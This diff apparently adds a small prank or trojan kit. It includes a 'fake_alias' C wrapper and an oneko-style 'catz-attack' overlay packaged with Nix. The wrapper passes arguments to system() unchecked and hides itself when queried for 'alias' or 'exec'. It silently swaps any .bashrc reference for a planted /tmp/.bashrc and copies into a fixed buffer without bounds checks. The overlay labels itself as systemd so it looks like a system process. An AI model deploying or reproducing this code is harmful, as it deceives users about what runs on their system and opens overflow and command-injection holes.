--- /dev/null
+SRC = main.c
+OUT = fake_alias
+CFLAGS = -Wall -Wextra -g -fsanitize=address
+
+all: $(SRC)
+ $(CC) $(CFLAGS) $(SRC) -o $(OUT)
+
+clean:
+ $(RM) $(OUT)
--- /dev/null
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main (int argc, char **argv) {
+ //printf("argc = %d", argc);
+ if (argc < 2) {
+ printf("Error: at least one argument is required\n");
+ return 1;
+ }
+ // check for alias or exec
+ if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
+ printf("There is nothing to see here, beggar off...\n");
+ return 0;
+ }
+
+ // Handle only the command
+ if (argc == 2) {
+ system(argv[1]);
+ return 0;
+ }
+ char *rep_file = "/tmp/.bashrc";
+ char command[500] = {'\0'};
+ strcpy(command, "/bin/"); // Prefix of the command
+ // We filter any .bashrc and replace it by our own
+ for (int i=1; i<argc; i++) {
+ if (strstr(argv[i], ".bashrc") != NULL){
+ strcpy(command + strlen(command), rep_file); // replace by our copy
+ }
+ else{
+ strcpy(command + strlen(command), argv[i]); // let the original
+ }
+ command[strlen(command)] = ' ';
+ }
+ // printf("Launching: %s\n", command);
+ system(command);
+ return 0;
+}
--- /dev/null
+# simple.nix
+let
+ pkgs = import <nixpkgs> { };
+in
+ pkgs.stdenv.mkDerivation {
+ name = "hello-nix";
+
+ src = ./.;
+
+ buildPhase = ''
+ $CC simple.c -o hello_nix
+ '';
+
+ installPhase = ''
+ mkdir -p $out/bin
+ cp hello_nix $out/bin/hello_nix
+ '';
+ }
\ No newline at end of file
--- /dev/null
+# simple.nix
+let
+ pkgs = import <nixpkgs> { };
+in
+ pkgs.stdenv.mkDerivation {
+ name = "catz-attack";
+
+ src = ./src/.;
+
+ buildInputs = [
+ pkgs.pkg-config
+ pkgs.sdl3
+ pkgs.sdl3-image
+ pkgs.xorg.libX11
+ pkgs.xorg.libXext
+ pkgs.xorg.libXrender
+ pkgs.xorg.libXcomposite
+ pkgs.xorg.libXcursor
+ pkgs.libxfixes
+ ];
+
+ buildPhase = ''
+ echo $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
+ $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
+ '';
+
+ installPhase = ''
+ mkdir -p $out/bin
+ cp real_oneko.gif sample.gif $out/bin/
+ cp catz-attack $out/bin/catz-attack
+ '';
+ }
\ No newline at end of file
--- /dev/null
+/nix/store/115rxak3fbaqs4xfglndd333z44bx6lk-catz-attack
\ No newline at end of file
char *gif_path = NULL;
SDL_SetAppMetadata("systemd", "1.0", "org.kernel.systemd");
+ SDL_SetHint("SDL_VIDEO_X11_VISUALID", "argb");
if (!SDL_Init(SDL_INIT_VIDEO)) {
SDL_Log("Couldn't initialize SDL: %s", SDL_GetError());
return SDL_APP_FAILURE;
}
+ SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND);
make_window_clickthrough();
set_override_redirect();
- SDL_SetDefaultTextureScaleMode(renderer, SDL_SCALEMODE_PIXELART);
+ //SDL_SetTextureScaleMode(renderer, SDL_SCALEMODE_LINEAR);
neko_init(renderer, window);